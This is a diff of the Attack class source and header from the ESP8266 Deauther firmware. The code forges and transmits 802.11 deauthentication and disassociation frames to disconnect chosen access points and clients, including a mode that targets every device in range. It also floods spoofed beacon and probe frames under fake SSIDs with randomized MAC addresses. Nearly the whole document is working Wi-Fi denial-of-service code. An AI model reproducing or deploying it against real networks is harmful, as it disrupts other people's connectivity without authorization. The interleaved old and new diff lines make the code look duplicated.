||||
|
||||
// beacon packets per second
|
||||
if (beacon.active) {
|
||||
beacon.maxPkts = ssids.count();
|
||||
if (!settings.getBeaconInterval()) beacon.maxPkts *= 10;
|
||||
} else {
|
||||
beacon.maxPkts = 0;
|
||||
}
|
||||
// beacon packets per second
|
||||
if (beacon.active) {
|
||||
beacon.maxPkts = ssids.count();
|
||||
|
||||
// probe packets per second
|
||||
if (probe.active) probe.maxPkts = ssids.count() * settings.getProbesPerSSID();
|
||||
else probe.maxPkts = 0;
|
||||
if (settings::getAttackSettings().beacon_interval == INTERVAL_100MS) beacon.maxPkts *= 10;
|
||||
} else {
|
||||
beacon.maxPkts = 0;
|
||||
}
|
||||
|
||||
// random transmission power
|
||||
if (settings.getRandomTX() && (beacon.active || probe.active)) setOutputPower(random(21));
|
||||
else setOutputPower(20.5f);
|
||||
// probe packets per second
|
||||
if (probe.active) probe.maxPkts = ssids.count() * settings::getAttackSettings().probe_frames_per_ssid;
|
||||
else probe.maxPkts = 0;
|
||||
|
||||
// reset counters
|
||||
deauthPkts = deauth.packetCounter;
|
||||
beaconPkts = beacon.packetCounter;
|
||||
probePkts = probe.packetCounter;
|
||||
deauth.packetCounter = 0;
|
||||
beacon.packetCounter = 0;
|
||||
probe.packetCounter = 0;
|
||||
deauth.tc = 0;
|
||||
beacon.tc = 0;
|
||||
probe.tc = 0;
|
||||
// random transmission power
|
||||
if (settings::getAttackSettings().random_tx && (beacon.active || probe.active)) setOutputPower(random(21));
|
||||
else setOutputPower(20.5f);
|
||||
|
||||
// reset counters
|
||||
deauthPkts = deauth.packetCounter;
|
||||
beaconPkts = beacon.packetCounter;
|
||||
probePkts = probe.packetCounter;
|
||||
packetRate = tmpPacketRate;
|
||||
deauth.packetCounter = 0;
|
||||
beacon.packetCounter = 0;
|
||||
probe.packetCounter = 0;
|
||||
deauth.tc = 0;
|
||||
beacon.tc = 0;
|
||||
probe.tc = 0;
|
||||
tmpPacketRate = 0;
|
||||
}
|
||||
|
||||
void Attack::status() {
|
||||
char s[80];
|
||||
sprintf(s, str(A_STATUS).c_str(), deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts, probe.maxPkts);
|
||||
prnt(String(s));
|
||||
char s[120];
|
||||
|
||||
sprintf(s, str(
|
||||
A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts,
|
||||
probe.maxPkts);
|
||||
prnt(String(s));
|
||||
}
|
||||
|
||||
String Attack::getStatusJSON() {
|
||||
String json = String(OPEN_BRACKET); // [
|
||||
json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) + String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET); // [false,0,0,0]
|
||||
json += CLOSE_BRACKET; // ]
|
||||
String json = String(OPEN_BRACKET); // [
|
||||
|
||||
return json;
|
||||
json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) +
|
||||
String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
|
||||
beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
|
||||
probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(packetRate); // 0
|
||||
json += CLOSE_BRACKET; // ]
|
||||
|
||||
return json;
|
||||
}
|
||||
|
||||
void Attack::update() {
|
||||
if (!running || scan.isScanning()) return;
|
||||
if (!running || scan.isScanning()) return;
|
||||
|
||||
apCount = accesspoints.count();
|
||||
stCount = stations.count();
|
||||
nCount = names.count();
|
||||
|
||||
// run/update all attacks
|
||||
deauthUpdate();
|
||||
deauthAllUpdate();
|
||||
beaconUpdate();
|
||||
probeUpdate();
|
||||
apCount = accesspoints.count();
|
||||
stCount = stations.count();
|
||||
nCount = names.count();
|
||||
|
||||
// each second
|
||||
if (currentTime - attackTime > 1000) {
|
||||
attackTime = currentTime; // update time
|
||||
updateCounter();
|
||||
if (output) status(); // status update
|
||||
getRandomMac(mac); // generate new random mac
|
||||
}
|
||||
// run/update all attacks
|
||||
deauthUpdate();
|
||||
deauthAllUpdate();
|
||||
beaconUpdate();
|
||||
probeUpdate();
|
||||
|
||||
// each second
|
||||
if (currentTime - attackTime > 1000) {
|
||||
attackTime = currentTime; // update time
|
||||
updateCounter();
|
||||
|
||||
if (output) status(); // status update
|
||||
getRandomMac(mac); // generate new random mac
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::deauthUpdate() {
|
||||
if (!deauthAll && deauth.active && deauth.maxPkts > 0 && deauth.packetCounter < deauth.maxPkts) {
|
||||
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
||||
// APs
|
||||
if (apCount > 0 && deauth.tc < apCount) {
|
||||
if (accesspoints.getSelected(deauth.tc)) {
|
||||
deauth.tc += deauthAP(deauth.tc);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
|
||||
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
||||
// APs
|
||||
if ((apCount > 0) && (deauth.tc < apCount)) {
|
||||
if (accesspoints.getSelected(deauth.tc)) {
|
||||
deauth.tc += deauthAP(deauth.tc);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Stations
|
||||
else if (stCount > 0 && deauth.tc >= apCount && deauth.tc < stCount + apCount) {
|
||||
if (stations.getSelected(deauth.tc - apCount)) {
|
||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
// Stations
|
||||
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
|
||||
if (stations.getSelected(deauth.tc - apCount)) {
|
||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Names
|
||||
else if (nCount > 0 && deauth.tc >= apCount + stCount && deauth.tc < nCount + stCount + apCount) {
|
||||
if (names.getSelected(deauth.tc - stCount - apCount)) {
|
||||
deauth.tc += deauthName(deauth.tc - stCount - apCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
// Names
|
||||
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) {
|
||||
if (names.getSelected(deauth.tc - stCount - apCount)) {
|
||||
deauth.tc += deauthName(deauth.tc - stCount - apCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// reset counter
|
||||
if (deauth.tc >= nCount + stCount + apCount)
|
||||
deauth.tc = 0;
|
||||
// reset counter
|
||||
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::deauthAllUpdate() {
|
||||
if (deauthAll && deauth.active && deauth.maxPkts > 0 && deauth.packetCounter < deauth.maxPkts) {
|
||||
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
||||
// APs
|
||||
if (apCount > 0 && deauth.tc < apCount) {
|
||||
tmpID = names.findID(accesspoints.getMac(deauth.tc));
|
||||
if (tmpID < 0) {
|
||||
deauth.tc += deauthAP(deauth.tc);
|
||||
} else if (!names.getSelected(tmpID)) {
|
||||
deauth.tc += deauthAP(deauth.tc);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
|
||||
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
||||
// APs
|
||||
if ((apCount > 0) && (deauth.tc < apCount)) {
|
||||
tmpID = names.findID(accesspoints.getMac(deauth.tc));
|
||||
|
||||
// Stations
|
||||
else if (stCount > 0 && deauth.tc >= apCount && deauth.tc < stCount + apCount) {
|
||||
tmpID = names.findID(stations.getMac(deauth.tc - apCount));
|
||||
if (tmpID < 0) {
|
||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||
} else if (!names.getSelected(tmpID)) {
|
||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
if (tmpID < 0) {
|
||||
deauth.tc += deauthAP(deauth.tc);
|
||||
} else if (!names.getSelected(tmpID)) {
|
||||
deauth.tc += deauthAP(deauth.tc);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Names
|
||||
else if (nCount > 0 && deauth.tc >= apCount + stCount && deauth.tc < apCount + stCount + nCount) {
|
||||
if (!names.getSelected(deauth.tc - apCount - stCount)) {
|
||||
deauth.tc += deauthName(deauth.tc - apCount - stCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
// Stations
|
||||
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
|
||||
tmpID = names.findID(stations.getMac(deauth.tc - apCount));
|
||||
|
||||
// reset counter
|
||||
if (deauth.tc >= nCount + stCount + apCount)
|
||||
deauth.tc = 0;
|
||||
if (tmpID < 0) {
|
||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||
} else if (!names.getSelected(tmpID)) {
|
||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Names
|
||||
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) {
|
||||
if (!names.getSelected(deauth.tc - apCount - stCount)) {
|
||||
deauth.tc += deauthName(deauth.tc - apCount - stCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// reset counter
|
||||
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::probeUpdate() {
|
||||
if (probe.active && probe.maxPkts > 0 && probe.packetCounter < probe.maxPkts) {
|
||||
if (probe.time <= currentTime - (1000 / probe.maxPkts)) {
|
||||
if (settings.getBeaconChannel()) setWifiChannel(probe.tc % settings.getMaxCh());
|
||||
probe.tc += sendProbe(probe.tc);
|
||||
if (probe.tc >= ssids.count()) probe.tc = 0;
|
||||
if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) {
|
||||
if (probe.time <= currentTime - (1000 / probe.maxPkts)) {
|
||||
if (settings::getAttackSettings().attack_all_ch) setWifiChannel(probe.tc % 11, true);
|
||||
probe.tc += sendProbe(probe.tc);
|
||||
|
||||
if (probe.tc >= ssids.count()) probe.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Attack:: beaconUpdate() {
|
||||
if (beacon.active && beacon.maxPkts > 0 && beacon.packetCounter < beacon.maxPkts) {
|
||||
if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) {
|
||||
beacon.tc += sendBeacon(beacon.tc);
|
||||
if (beacon.tc >= ssids.count()) beacon.tc = 0;
|
||||
void Attack::beaconUpdate() {
|
||||
if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) {
|
||||
if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) {
|
||||
beacon.tc += sendBeacon(beacon.tc);
|
||||
|
||||
if (beacon.tc >= ssids.count()) beacon.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool Attack::deauthStation(int num) {
|
||||
return deauthDevice(accesspoints.getMac(stations.getAP(num)), stations.getMac(num), settings.getDeauthReason(), accesspoints.getCh(stations.getAP(num)));
|
||||
return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings::getAttackSettings().deauth_reason, stations.getCh(num));
|
||||
}
|
||||
|
||||
bool Attack::deauthAP(int num) {
|
||||
return deauthDevice(accesspoints.getMac(num), broadcast, settings.getDeauthReason(), accesspoints.getCh(num));
|
||||
return deauthDevice(accesspoints.getMac(num), broadcast, settings::getAttackSettings().deauth_reason, accesspoints.getCh(num));
|
||||
}
|
||||
|
||||
bool Attack::deauthName(int num) {
|
||||
if (names.isStation(num)) {
|
||||
return deauthDevice(names.getBssid(num), names.getMac(num), settings.getDeauthReason(), names.getCh(num));
|
||||
} else {
|
||||
return deauthDevice(names.getMac(num), broadcast, settings.getDeauthReason(), names.getCh(num));
|
||||
}
|
||||
if (names.isStation(num)) {
|
||||
return deauthDevice(names.getBssid(num), names.getMac(num), settings::getAttackSettings().deauth_reason, names.getCh(num));
|
||||
} else {
|
||||
return deauthDevice(names.getMac(num), broadcast, settings::getAttackSettings().deauth_reason, names.getCh(num));
|
||||
}
|
||||
}
|
||||
|
||||
bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) {
|
||||
if (!stMac) return false; // exit when station mac is null
|
||||
if (!stMac) return false; // exit when station mac is null
|
||||
|
||||
//Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging
|
||||
|
||||
bool success = false;
|
||||
// Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging
|
||||
|
||||
// build deauth packet
|
||||
packetSize = sizeof(deauthPacket);
|
||||
memcpy(&deauthPacket[4], stMac, 6);
|
||||
memcpy(&deauthPacket[10], apMac, 6);
|
||||
memcpy(&deauthPacket[16], apMac, 6);
|
||||
deauthPacket[24] = reason;
|
||||
bool success = false;
|
||||
|
||||
// send deauth frame
|
||||
deauthPacket[0] = 0xc0;
|
||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets()))
|
||||
success = true;
|
||||
|
||||
// send disassociate frame
|
||||
deauthPacket[0] = 0xa0;
|
||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets()))
|
||||
success = true;
|
||||
|
||||
// send another packet, this time from the station to the accesspoint
|
||||
if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast
|
||||
// build deauth packet
|
||||
memcpy(&deauthPacket[4], apMac, 6);
|
||||
memcpy(&deauthPacket[10], stMac, 6);
|
||||
memcpy(&deauthPacket[16], stMac, 6);
|
||||
|
||||
packetSize = sizeof(deauthPacket);
|
||||
|
||||
uint8_t deauthpkt[packetSize];
|
||||
|
||||
memcpy(deauthpkt, deauthPacket, packetSize);
|
||||
|
||||
memcpy(&deauthpkt[4], stMac, 6);
|
||||
memcpy(&deauthpkt[10], apMac, 6);
|
||||
memcpy(&deauthpkt[16], apMac, 6);
|
||||
deauthpkt[24] = reason;
|
||||
|
||||
// send deauth frame
|
||||
deauthPacket[0] = 0xc0;
|
||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets()))
|
||||
success = true;
|
||||
|
||||
deauthpkt[0] = 0xc0;
|
||||
|
||||
if (sendPacket(deauthpkt, packetSize, ch, true)) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
|
||||
// send disassociate frame
|
||||
deauthPacket[0] = 0xa0;
|
||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets()))
|
||||
success = true;
|
||||
}
|
||||
uint8_t disassocpkt[packetSize];
|
||||
|
||||
if (success){
|
||||
deauth.time = currentTime;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
memcpy(disassocpkt, deauthpkt, packetSize);
|
||||
|
||||
return success;
|
||||
disassocpkt[0] = 0xa0;
|
||||
|
||||
if (sendPacket(disassocpkt, packetSize, ch, false)) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
|
||||
// send another packet, this time from the station to the accesspoint
|
||||
if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast
|
||||
// build deauth packet
|
||||
memcpy(&disassocpkt[4], apMac, 6);
|
||||
memcpy(&disassocpkt[10], stMac, 6);
|
||||
memcpy(&disassocpkt[16], stMac, 6);
|
||||
|
||||
// send deauth frame
|
||||
disassocpkt[0] = 0xc0;
|
||||
|
||||
if (sendPacket(disassocpkt, packetSize, ch, false)) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
|
||||
// send disassociate frame
|
||||
disassocpkt[0] = 0xa0;
|
||||
|
||||
if (sendPacket(disassocpkt, packetSize, ch, false)) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
}
|
||||
|
||||
if (success) deauth.time = currentTime;
|
||||
|
||||
return success;
|
||||
}
|
||||
|
||||
bool Attack::sendBeacon(uint8_t tc) {
|
||||
if (settings.getBeaconChannel()) setWifiChannel(tc % settings.getMaxCh());
|
||||
mac[5] = tc;
|
||||
return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc));
|
||||
if (settings::getAttackSettings().attack_all_ch) setWifiChannel(tc % 11, true);
|
||||
mac[5] = tc;
|
||||
return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc));
|
||||
}
|
||||
|
||||
bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) {
|
||||
packetSize = sizeof(beaconPacket);
|
||||
packetSize = sizeof(beaconPacket);
|
||||
|
||||
if (wpa2) {
|
||||
beaconPacket[34] = 0x31;
|
||||
} else {
|
||||
beaconPacket[34] = 0x21;
|
||||
packetSize -= 26;
|
||||
}
|
||||
if (wpa2) {
|
||||
beaconPacket[34] = 0x31;
|
||||
} else {
|
||||
beaconPacket[34] = 0x21;
|
||||
packetSize -= 26;
|
||||
}
|
||||
|
||||
int ssidLen = strlen(ssid);
|
||||
if(ssidLen > 32) ssidLen = 32;
|
||||
|
||||
memcpy(&beaconPacket[10], mac, 6);
|
||||
memcpy(&beaconPacket[16], mac, 6);
|
||||
memcpy(&beaconPacket[38], ssid, ssidLen);
|
||||
|
||||
beaconPacket[82] = ch;
|
||||
int ssidLen = strlen(ssid);
|
||||
|
||||
if (sendPacket(beaconPacket, packetSize, ch, settings.getForcePackets())) {
|
||||
beacon.time = currentTime;
|
||||
beacon.packetCounter++;
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
if (ssidLen > 32) ssidLen = 32;
|
||||
|
||||
memcpy(&beaconPacket[10], mac, 6);
|
||||
memcpy(&beaconPacket[16], mac, 6);
|
||||
memcpy(&beaconPacket[38], ssid, ssidLen);
|
||||
|
||||
beaconPacket[82] = ch;
|
||||
|
||||
// =====
|
||||
uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size
|
||||
uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer
|
||||
|
||||
memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer
|
||||
tmpPacket[37] = ssidLen; // update SSID length byte
|
||||
memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer
|
||||
|
||||
bool success = sendPacket(tmpPacket, tmpPacketSize, ch, false);
|
||||
|
||||
if (success) {
|
||||
beacon.time = currentTime;
|
||||
beacon.packetCounter++;
|
||||
}
|
||||
|
||||
delete[] tmpPacket; // free memory of allocated buffer
|
||||
|
||||
return success;
|
||||
// =====
|
||||
}
|
||||
|
||||
bool Attack::sendProbe(uint8_t tc) {
|
||||
if (settings.getBeaconChannel()) setWifiChannel(tc % settings.getMaxCh());
|
||||
mac[5] = tc;
|
||||
return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel);
|
||||
if (settings::getAttackSettings().attack_all_ch) setWifiChannel(tc % 11, true);
|
||||
mac[5] = tc;
|
||||
return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel);
|
||||
}
|
||||
|
||||
bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) {
|
||||
packetSize = sizeof(probePacket);
|
||||
int ssidLen = strlen(ssid);
|
||||
if(ssidLen > 32) ssidLen = 32;
|
||||
|
||||
memcpy(&probePacket[10], mac, 6);
|
||||
memcpy(&probePacket[26], ssid, ssidLen);
|
||||
packetSize = sizeof(probePacket);
|
||||
int ssidLen = strlen(ssid);
|
||||
|
||||
if (sendPacket(probePacket, packetSize, ch, settings.getForcePackets())) {
|
||||
probe.time = currentTime;
|
||||
probe.packetCounter++;
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
if (ssidLen > 32) ssidLen = 32;
|
||||
|
||||
memcpy(&probePacket[10], mac, 6);
|
||||
memcpy(&probePacket[26], ssid, ssidLen);
|
||||
|
||||
if (sendPacket(probePacket, packetSize, ch, false)) {
|
||||
probe.time = currentTime;
|
||||
probe.packetCounter++;
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries) {
|
||||
//Serial.println(bytesToStr(packet, packetSize));
|
||||
bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, bool force_ch) {
|
||||
// Serial.println(bytesToStr(packet, packetSize));
|
||||
|
||||
// set channel
|
||||
setWifiChannel(ch);
|
||||
|
||||
// sent out packet
|
||||
bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
|
||||
|
||||
// try again until it's sent out
|
||||
for (int i = 0; i < tries && !sent; i++) {
|
||||
sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
|
||||
}
|
||||
// set channel
|
||||
setWifiChannel(ch, force_ch);
|
||||
|
||||
return sent;
|
||||
// sent out packet
|
||||
bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
|
||||
|
||||
if (sent) ++tmpPacketRate;
|
||||
|
||||
return sent;
|
||||
}
|
||||
|
||||
void Attack::enableOutput() {
|
||||
output = true;
|
||||
prntln(A_ENABLED_OUTPUT);
|
||||
output = true;
|
||||
prntln(A_ENABLED_OUTPUT);
|
||||
}
|
||||
|
||||
void Attack::disableOutput() {
|
||||
output = false;
|
||||
prntln(A_DISABLED_OUTPUT);
|
||||
output = false;
|
||||
prntln(A_DISABLED_OUTPUT);
|
||||
}
|
||||
|
||||
uint32_t Attack::getDeauthPkts() {
|
||||
return deauthPkts;
|
||||
return deauthPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getBeaconPkts() {
|
||||
return beaconPkts;
|
||||
return beaconPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getProbePkts() {
|
||||
return probePkts;
|
||||
return probePkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getDeauthMaxPkts() {
|
||||
return deauth.maxPkts;
|
||||
return deauth.maxPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getBeaconMaxPkts() {
|
||||
return beacon.maxPkts;
|
||||
return beacon.maxPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getProbeMaxPkts() {
|
||||
return probe.maxPkts;
|
||||
return probe.maxPkts;
|
||||
}
|
||||
|
||||
|
||||
uint32_t Attack::getPacketRate() {
|
||||
return packetRate;
|
||||
}
|
|
@ -1,200 +1,204 @@
|
|||
#ifndef Attack_h
|
||||
#define Attack_h
|
||||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "Accesspoints.h"
|
||||
#include "Stations.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Settings.h"
|
||||
#include "Scan.h"
|
||||
#include "language.h"
|
||||
|
||||
extern Settings settings;
|
||||
extern SSIDs ssids;
|
||||
extern Accesspoints accesspoints;
|
||||
extern Stations stations;
|
||||
extern Stations stations;
|
||||
extern Scan scan;
|
||||
|
||||
extern uint8_t wifi_channel;
|
||||
extern uint8_t broadcast[6];
|
||||
extern uint8_t wifi_channel;
|
||||
extern uint8_t broadcast[6];
|
||||
extern uint32_t currentTime;
|
||||
|
||||
extern bool macBroadcast(uint8_t* mac);
|
||||
extern void getRandomMac(uint8_t* mac);
|
||||
extern void setOutputPower(float dBm);
|
||||
extern String macToStr(uint8_t* mac);
|
||||
extern String bytesToStr(uint8_t* b, uint32_t size);
|
||||
extern void setWifiChannel(uint8_t ch);
|
||||
extern bool writeFile(String path, String &buf);
|
||||
extern String macToStr(const uint8_t* mac);
|
||||
extern String bytesToStr(const uint8_t* b, uint32_t size);
|
||||
extern void setWifiChannel(uint8_t ch, bool force);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern int8_t free80211_send(uint8_t* buffer, uint16_t len);
|
||||
|
||||
class Attack {
|
||||
public:
|
||||
Attack();
|
||||
|
||||
void start();
|
||||
void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout);
|
||||
void stop();
|
||||
void update();
|
||||
public:
|
||||
Attack();
|
||||
|
||||
void enableOutput();
|
||||
void disableOutput();
|
||||
void status();
|
||||
String getStatusJSON();
|
||||
|
||||
bool deauthAP(int num);
|
||||
bool deauthStation(int num);
|
||||
bool deauthName(int num);
|
||||
bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch);
|
||||
|
||||
bool sendBeacon(uint8_t tc);
|
||||
bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2);
|
||||
|
||||
bool sendProbe(uint8_t tc);
|
||||
bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch);
|
||||
void start();
|
||||
void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout);
|
||||
void stop();
|
||||
void update();
|
||||
|
||||
bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries);
|
||||
|
||||
bool isRunning();
|
||||
void enableOutput();
|
||||
void disableOutput();
|
||||
void status();
|
||||
String getStatusJSON();
|
||||
|
||||
uint32_t getDeauthPkts();
|
||||
uint32_t getBeaconPkts();
|
||||
uint32_t getProbePkts();
|
||||
uint32_t getDeauthMaxPkts();
|
||||
uint32_t getBeaconMaxPkts();
|
||||
uint32_t getProbeMaxPkts();
|
||||
private:
|
||||
void deauthUpdate();
|
||||
void deauthAllUpdate();
|
||||
void beaconUpdate();
|
||||
void probeUpdate();
|
||||
bool deauthAP(int num);
|
||||
bool deauthStation(int num);
|
||||
bool deauthName(int num);
|
||||
bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch);
|
||||
|
||||
void updateCounter();
|
||||
|
||||
bool running = false;
|
||||
bool output = true;
|
||||
bool sendBeacon(uint8_t tc);
|
||||
bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2);
|
||||
|
||||
struct AttackType{
|
||||
bool active = false; // if attack is activated
|
||||
uint16_t packetCounter = 0; // how many packets are sent per second
|
||||
uint16_t maxPkts = 0; // how many packets should be sent per second
|
||||
uint8_t tc = 0; // target counter, i.e. which AP or SSID
|
||||
uint32_t time = 0; // time last packet was sent
|
||||
};
|
||||
bool sendProbe(uint8_t tc);
|
||||
bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch);
|
||||
|
||||
AttackType deauth;
|
||||
AttackType beacon;
|
||||
AttackType probe;
|
||||
bool deauthAll = false;
|
||||
bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, bool force_ch);
|
||||
|
||||
uint32_t deauthPkts = 0;
|
||||
uint32_t beaconPkts = 0;
|
||||
uint32_t probePkts = 0;
|
||||
bool isRunning();
|
||||
|
||||
uint8_t apCount = 0;
|
||||
uint8_t stCount = 0;
|
||||
uint8_t nCount = 0;
|
||||
|
||||
int8_t tmpID = -1;
|
||||
uint32_t getDeauthPkts();
|
||||
uint32_t getBeaconPkts();
|
||||
uint32_t getProbePkts();
|
||||
uint32_t getDeauthMaxPkts();
|
||||
uint32_t getBeaconMaxPkts();
|
||||
uint32_t getProbeMaxPkts();
|
||||
|
||||
uint16_t packetSize = 0;
|
||||
uint32_t attackTime = 0; // for counting how many packets per second
|
||||
uint32_t attackStartTime = 0;
|
||||
uint32_t timeout = 0;
|
||||
|
||||
// random mac address for making the beacon packets
|
||||
uint8_t mac[6] = {0xAA,0xBB,0xCC,0x00,0x11,0x22};
|
||||
|
||||
uint8_t deauthPacket[26] = {
|
||||
/* 0 - 1 */ 0xC0, 0x00, //type, subtype c0: deauth (a0: disassociate)
|
||||
/* 2 - 3 */ 0x00, 0x00, //duration (SDK takes care of that)
|
||||
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,//reciever (target)
|
||||
/* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //source (ap)
|
||||
/* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //BSSID (ap)
|
||||
/* 22 - 23 */ 0x00, 0x00, //fragment & squence number
|
||||
/* 24 - 25 */ 0x01, 0x00 //reason code (1 = unspecified reason)
|
||||
};
|
||||
uint32_t getPacketRate();
|
